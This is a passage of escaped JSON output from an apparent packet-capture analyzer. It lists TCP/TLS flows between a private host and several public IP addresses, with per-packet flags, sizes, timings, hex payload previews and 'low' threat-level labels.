\"min_packet_size\": 54, \"max_packet_size\": 2802, \"median_packet_size\": 54, \"avg_interval\": 0.4039212095326391, \"min_interval\": 0.00048804283142089844, \"max_interval\": 1.4024970531463623}, {\"source\": \"192.168.122.168\", \"target\": \"149.154.166.110\", \"packet_count\": 9, \"total_bytes\": 1150, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [50120], \"dst_ports\": [443], \"first_packet\": 1777400584.708655, \"last_packet\": 1777400685.90138, \"packets\": [{\"packet_number\": 148, \"timestamp\": 1777400584.708655, \"timestamp_iso\": \"2026-04-28T23:53:04.708655\", \"timestamp_human\": \"2026-04-28 23:53:04.708\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"149.154.166.110\", \"ttl\": 128, \"ip_id\": 1757, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50120, \"dst_port\": 443, \"tcp_seq\": 902238386, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 150, \"timestamp\": 1777400584.708829, \"timestamp_iso\": \"2026-04-28T23:53:04.708829\", \"timestamp_human\": \"2026-04-28 23:53:04.708\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"149.154.166.110\", \"ttl\": 128, \"ip_id\": 1758, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50120, \"dst_port\": 443, \"tcp_seq\": 902238387, \"tcp_ack\": 4075040322, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 151, \"timestamp\": 1777400584.709588, \"timestamp_iso\": \"2026-04-28T23:53:04.709588\", \"timestamp_human\": \"2026-04-28 23:53:04.709\", \"size\": 232, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"149.154.166.110\", \"ttl\": 128, \"ip_id\": 1759, \"ip_len\": 218, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50120, \"dst_port\": 443, \"tcp_seq\": 902238387, \"tcp_ack\": 4075040322, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 154, \"timestamp\": 1777400585.124903, \"timestamp_iso\": \"2026-04-28T23:53:05.124903\", \"timestamp_human\": \"2026-04-28 23:53:05.124\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"149.154.166.110\", \"ttl\": 128, \"ip_id\": 1760, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50120, \"dst_port\": 443, \"tcp_seq\": 902238565, \"tcp_ack\": 4075043738, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 156, \"timestamp\": 1777400585.324448, \"timestamp_iso\": \"2026-04-28T23:53:05.324448\", \"timestamp_human\": \"2026-04-28 23:53:05.324\", \"size\": 147, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"149.154.166.110\", \"ttl\": 128, \"ip_id\": 1761, \"ip_len\": 133, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50120, \"dst_port\": 443, \"tcp_seq\": 902238565, \"tcp_ack\": 4075044634, \"tcp_window\": 8209, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 33, \"payload_preview\": \"20c0b48c554b5e79939451754eb4f25aa46b912390a18ebf5d685de2780dc7786a\", \"payload_ascii\": \" UK^yQuNZk#]h]x\\rxj\"}, {\"packet_number\": 159, \"timestamp\": 1777400585.694893, \"timestamp_iso\": \"2026-04-28T23:53:05.694893\", \"timestamp_human\": \"2026-04-28 23:53:05.694\", \"size\": 435, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"149.154.166.110\", \"ttl\": 128, \"ip_id\": 1762, \"ip_len\": 421, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50120, \"dst_port\": 443, \"tcp_seq\": 902238658, \"tcp_ack\": 4075044908, \"tcp_window\": 8207, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 162, \"timestamp\": 1777400585.978378, \"timestamp_iso\": \"2026-04-28T23:53:05.978378\", \"timestamp_human\": \"2026-04-28 23:53:05.978\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"149.154.166.110\", \"ttl\": 128, \"ip_id\": 1763, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50120, \"dst_port\": 443, \"tcp_seq\": 902239039, \"tcp_ack\": 4075045341, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 217, \"timestamp\": 1777400685.901105, \"timestamp_iso\": \"2026-04-28T23:54:45.901105\", \"timestamp_human\": \"2026-04-28 23:54:45.901\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"149.154.166.110\", \"ttl\": 128, \"ip_id\": 1764, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50120, \"dst_port\": 443, \"tcp_seq\": 902239039, \"tcp_ack\": 4075045341, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 219, \"timestamp\": 1777400685.90138, \"timestamp_iso\": \"2026-04-28T23:54:45.901380\", \"timestamp_human\": \"2026-04-28 23:54:45.901\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"149.154.166.110\", \"ttl\": 128, \"ip_id\": 1765, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50120, \"dst_port\": 443, \"tcp_seq\": 902239040, \"tcp_ack\": 4075045342, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 8, \"PSH\": 3, \"FIN\": 1}, \"packet_sizes\": [66, 54, 232, 54, 147, 435, 54, 54, 54], \"inter_packet_intervals\": [0.00017380714416503906, 0.000759124755859375, 0.4153149127960205, 0.19954514503479004, 0.37044477462768555, 0.28348517417907715, 99.92272686958313, 0.0002751350402832031], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 101.19272494316101, \"avg_packet_size\": 127.77777777777777, \"packets_per_second\": 0.08893919997761908, \"bytes_per_second\": 11.36445333047355, \"min_packet_size\": 54, \"max_packet_size\": 435, \"median_packet_size\": 54, \"avg_interval\": 12.649090617895126, \"min_interval\": 0.00017380714416503906, \"max_interval\": 99.92272686958313}, {\"source\": \"149.154.166.110\", \"target\": \"192.168.122.168\", \"packet_count\": 9, \"total_bytes\": 5517, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"src_ports\": [443], \"dst_ports\": [50120], \"first_packet\": 1777400584.708715, \"last_packet\": 1777400685.901261, \"packets\": [{\"packet_number\": 149, \"timestamp\": 1777400584.708715, \"timestamp_iso\": \"2026-04-28T23:53:04.708715\", \"timestamp_human\": \"2026-04-28 23:53:04.708\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"149.154.166.110\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50120, \"tcp_seq\": 4075040321, \"tcp_ack\": 902238387, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 152, \"timestamp\": 1777400584.709613, \"timestamp_iso\": \"2026-04-28T23:53:04.709613\", \"timestamp_human\": \"2026-04-28 23:53:04.709\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"149.154.166.110\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47653, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50120, \"tcp_seq\": 4075040322, \"tcp_ack\": 902238565, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 153, \"timestamp\": 1777400585.124668, \"timestamp_iso\": \"2026-04-28T23:53:05.124668\", \"timestamp_human\": \"2026-04-28 23:53:05.124\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\"], \"src_ip\": \"149.154.166.110\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47654, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50120, \"tcp_seq\": 4075040322, \"tcp_ack\": 902238565, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 155, \"timestamp\": 1777400585.30433, \"timestamp_iso\": \"2026-04-28T23:53:05.304330\", \"timestamp_human\": \"2026-04-28 23:53:05.304\", \"size\": 950, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"149.154.166.110\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47657, \"ip_len\": 936, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50120, \"tcp_seq\": 4075043738, \"tcp_ack\": 902238565, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 896, \"payload_preview\": \"2043013b84f1e685499f27eaf6841b4ea0b4db7098c73201b1053e074eeef4fa4f2f593022e7ab19566be28007fcf316758039517be5f935b6744ea98d8213e4b63fa90383faa2be8a156a7fde0bc3b6191405caeac3a804943b467c320df3006622c88d696d368c1118b7d3b21c60b438fa028cced3dd4607de0a3eeb5d7cc87cfbb02b53a4926269512505611a44818c2ca9439623dfac3a819a0e29c51ca9e95d1eb69e9e300a39cef18880fb4b5dcc32ec85624325340256270191b43b702a3f6eb1e89c88017d9fd4f9db536d609dbf2ce758abb85f46fccec41b033c09eb49315c6946b3e0470203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604143a9a8507106728b6eff6bd05416e20c194da0fde300d06092a864886f70d01010b0500038201010099db5d79d5f99759670361f17e3b0631752da1208e4f6587b4f7a69cbcd8e92fd0db5aeecf748c73b43842da057bf80275b8fda5b1d7aef6d7de13cb53107e8a46d197fab72e2b11ab90b02780f9e89f5ae9379fabe4df6cb385179d3dd9244f799135d65f04eb8083ab9a022db510f4d890c7047340ed7225a0a99fec9eab68129957c68f123a09a4bd44fd061537c19be432a3ed38e8d864f32c7e14fc02ea9fcdff076817db2290382d7a8dd154f169e35f33ca7a3d7b0ae3ca7f5f39e5e275bac5761833ce2cf02f4cadf7b1e7ce4fa8c49b4a5406c57f7dd5080fe21cfe7e17b8ac5ef6d416b243090c4df6a76bb4998465ca7a88e2e244be5cf7ea1cf5160303012c0c00012803001d203aafbe4c872864f900b970762d0acf10ec1367686803d0f7e9a96333737b6f2f080401005b2c874dd5c61b3409bf6adc5c03066ba830adb2a63252d31d0e7b1ac34f1a23a78ac8015beb06726f2e4c23bcaec0efc745db786ab95ab552bfdb369cb8a0f2439f9264b7777e78d73ebfa2ce5dbad52590d88b7af8fcc8831bc86cced8bd567b286613851890205d341aa712868b306d957c6bfa1290a80ad5aa65ed18cbf142028e4797704cfc50787164cb2322bee68ed0f172e22c42c4fec0b097a8c801b4b6536f1bc254c63c18529a670d3b2074817c5c8b1d3b7e050993a737025a07f71261a4fa3f76335a7bdd12b54b2e5cd2bceb8ac6d9769c949532cc8337730f7ca2d57a2220a3591117c683b6e14008d1ff11f7c5a9e0f1c825acbe92d65c6e16030300040e000000\", \"payload_ascii\": \" C\\u0001;I'\\u001bNp2\\u0001\\u0005>\\u0007NO/Y0\\\"\\u0019Vk\\u0007\\u0016u9Q{5tN\\u0013?\\u0003\\u0015j\\u007f\\u000b\\u0019\\u0014\\u0005\\u0004;F|2\\r\\u0000f\\\"im6\\u0011\\u0018\\u001c`8\\u0002F\\u0007\\n>]||+SbiQ%\\u0005a\\u001aD,C#:\\u000e)\\u001c]\\u001e0\\n9K]2bC%4\\u0002V'\\u0001;p*?n\\u0001}Sm`,X_F\\u001b\\u0003<\\tI1\\\\iFG\\u0002\\u0003\\u0001\\u0000\\u0001B0@0\\u000f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00050\\u0003\\u0001\\u00010\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u0001\\u00060\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014:\\u0007\\u0010g(\\u0005An \\u000f0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000]yYg\\u0003a~;\\u00061u- Oe/Zts8B\\u0005{\\u0002u\\u0013S\\u0010~F.+\\u0011'Z7l\\u0017=$Oy5_\\u0004\\u0002-\\u0010\\u0004s@r%h\\u0012W\\u0012:\\tD\\u0006\\u0015728d,~\\u0014\\u0002\\u0007h\\u0017\\\"8-zTi_3z={\\n\\u007f_9uv\\u00183,/LOJT\\u0006\\u007f}\\b\\u000f\\u001c~\\u0017^\\u0016C\\t\\fMkezD\\\\\\u001c\\u0016\\u0003\\u0003\\u0001,\\f\\u0000\\u0001(\\u0003\\u0000\\u001d :L(d\\u0000pv-\\n\\u0010\\u0013ghh\\u0003c3s{o/\\b\\u0004\\u0001\\u0000[,M\\u001b4\\tj\\\\\\u0003\\u0006k02R\\u001d\\u000e{\\u001aO\\u001a#\\u0001[\\u0006ro.L#ExjZR6Cdw~x>]%z\\u001blV{(f\\u0013\\u0018 ]4\\u001a\\u00120m|k\\u0012\\ne\\u0018B\\u0002GpLPxqd#\\\"r,B\\u0001So\\u001bT<\\u0018Rg\\r; t|\\\\\\u001d;~\\u0005\\t7\\u0002Z\\u0007\\u0012a?v3Z{\\u0012K.\\\\v27s\\u000f|z\\\" Y\\u0011\\u0017@\\b\\u0011%\\\\n\\u0016\\u0003\\u0003\\u0000\\u0004\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 157, \"timestamp\": 1777400585.32451, \"timestamp_iso\": \"2026-04-28T23:53:05.324510\", \"timestamp_human\": \"2026-04-28 23:53:05.324\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"149.154.166.110\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47658, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50120, \"tcp_seq\": 4075044634, \"tcp_ack\": 902238658, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 158, \"timestamp\": 1777400585.685178, \"timestamp_iso\": \"2026-04-28T23:53:05.685178\", \"timestamp_human\": \"2026-04-28 23:53:05.685\", \"size\": 328, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"149.154.166.110\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47659, \"ip_len\": 314, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50120, \"tcp_seq\": 4075044634, \"tcp_ack\": 902238658, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 40, \"payload_preview\": \"76e06e755dd04c94d375afbeef4f85b4dbf9948eafb55f676bde3bf13ef41791b1711392f14a37ad\", \"payload_ascii\": \"vnu]LuO_gk;>\\u0017q\\u0013J7\"}, {\"packet_number\": 160, \"timestamp\": 1777400585.69494, \"timestamp_iso\": \"2026-04-28T23:53:05.694940\", \"timestamp_human\": \"2026-04-28 23:53:05.694\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"149.154.166.110\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47660, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50120, \"tcp_seq\": 4075044908, \"tcp_ack\": 902239039, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 161, \"timestamp\": 1777400585.888191, \"timestamp_iso\": \"2026-04-28T23:53:05.888191\", \"timestamp_human\": \"2026-04-28 23:53:05.888\", \"size\": 487, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"149.154.166.110\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47661, \"ip_len\": 473, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50120, \"tcp_seq\": 4075044908, \"tcp_ack\": 902239039, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 218, \"timestamp\": 1777400685.901261, \"timestamp_iso\": \"2026-04-28T23:54:45.901261\", \"timestamp_human\": \"2026-04-28 23:54:45.901\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"149.154.166.110\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 47662, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 50120, \"tcp_seq\": 4075045341, \"tcp_ack\": 902239040, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 9, \"PSH\": 4, \"FIN\": 1}, \"packet_sizes\": [66, 54, 3470, 950, 54, 328, 54, 487, 54], \"inter_packet_intervals\": [0.0008981227874755859, 0.4150547981262207, 0.17966222763061523, 0.02017998695373535, 0.3606679439544678, 0.009762048721313477, 0.1932508945465088, 100.01307010650635], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 101.19254612922668, \"avg_packet_size\": 613.0, \"packets_per_second\": 0.08893935713907881, \"bytes_per_second\": 54.519825926255315, \"min_packet_size\": 54, \"max_packet_size\": 3470, \"median_packet_size\": 66, \"avg_interval\": 12.649068266153336, \"min_interval\": 0.0008981227874755859, \"max_interval\": 100.01307010650635}, {\"source\": \"192.168.122.168\", \"target\": \"13.107.42.254\", \"packet_count\": 7, \"total_bytes\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [49957], \"dst_ports\": [443], \"first_packet\": 1777400588.044914, \"last_packet\": 1777400607.879449, \"packets\": [{\"packet_number\": 163, \"timestamp\": 1777400588.044914, \"timestamp_iso\": \"2026-04-28T23:53:08.044914\", \"timestamp_human\": \"2026-04-28 23:53:08.044\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10777, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 173, \"timestamp\": 1777400588.481693, \"timestamp_iso\": \"2026-04-28T23:53:08.481693\", \"timestamp_human\": \"2026-04-28 23:53:08.481\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10778, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 179, \"timestamp\": 1777400589.182699, \"timestamp_iso\": \"2026-04-28T23:53:09.182699\", \"timestamp_human\": \"2026-04-28 23:53:09.182\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10779, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 185, \"timestamp\": 1777400590.583021, \"timestamp_iso\": \"2026-04-28T23:53:10.583021\", \"timestamp_human\": \"2026-04-28 23:53:10.583\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10780, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 191, \"timestamp\": 1777400593.083893, \"timestamp_iso\": \"2026-04-28T23:53:13.083893\", \"timestamp_human\": \"2026-04-28 23:53:13.083\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10781, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 200, \"timestamp\": 1777400598.081676, \"timestamp_iso\": \"2026-04-28T23:53:18.081676\", \"timestamp_human\": \"2026-04-28 23:53:18.081\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10782, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 209, \"timestamp\": 1777400607.879449, \"timestamp_iso\": \"2026-04-28T23:53:27.879449\", \"timestamp_human\": \"2026-04-28 23:53:27.879\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10783, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378439, \"tcp_ack\": 1765244119, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"FIN\": 6, \"ACK\": 7, \"RST\": 1}, \"packet_sizes\": [54, 54, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.4367790222167969, 0.7010059356689453, 1.4003219604492188, 2.5008721351623535, 4.997782945632935, 9.797772884368896], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 19.834534883499146, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.3529197957560113, \"bytes_per_second\": 19.05766897082461, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 3.3057558139165244, \"min_interval\": 0.4367790222167969, \"max_interval\": 9.797772884368896}, {\"source\": \"192.168.122.168\", \"target\": \"131.253.33.254\", \"packet_count\": 7, \"total_bytes\": 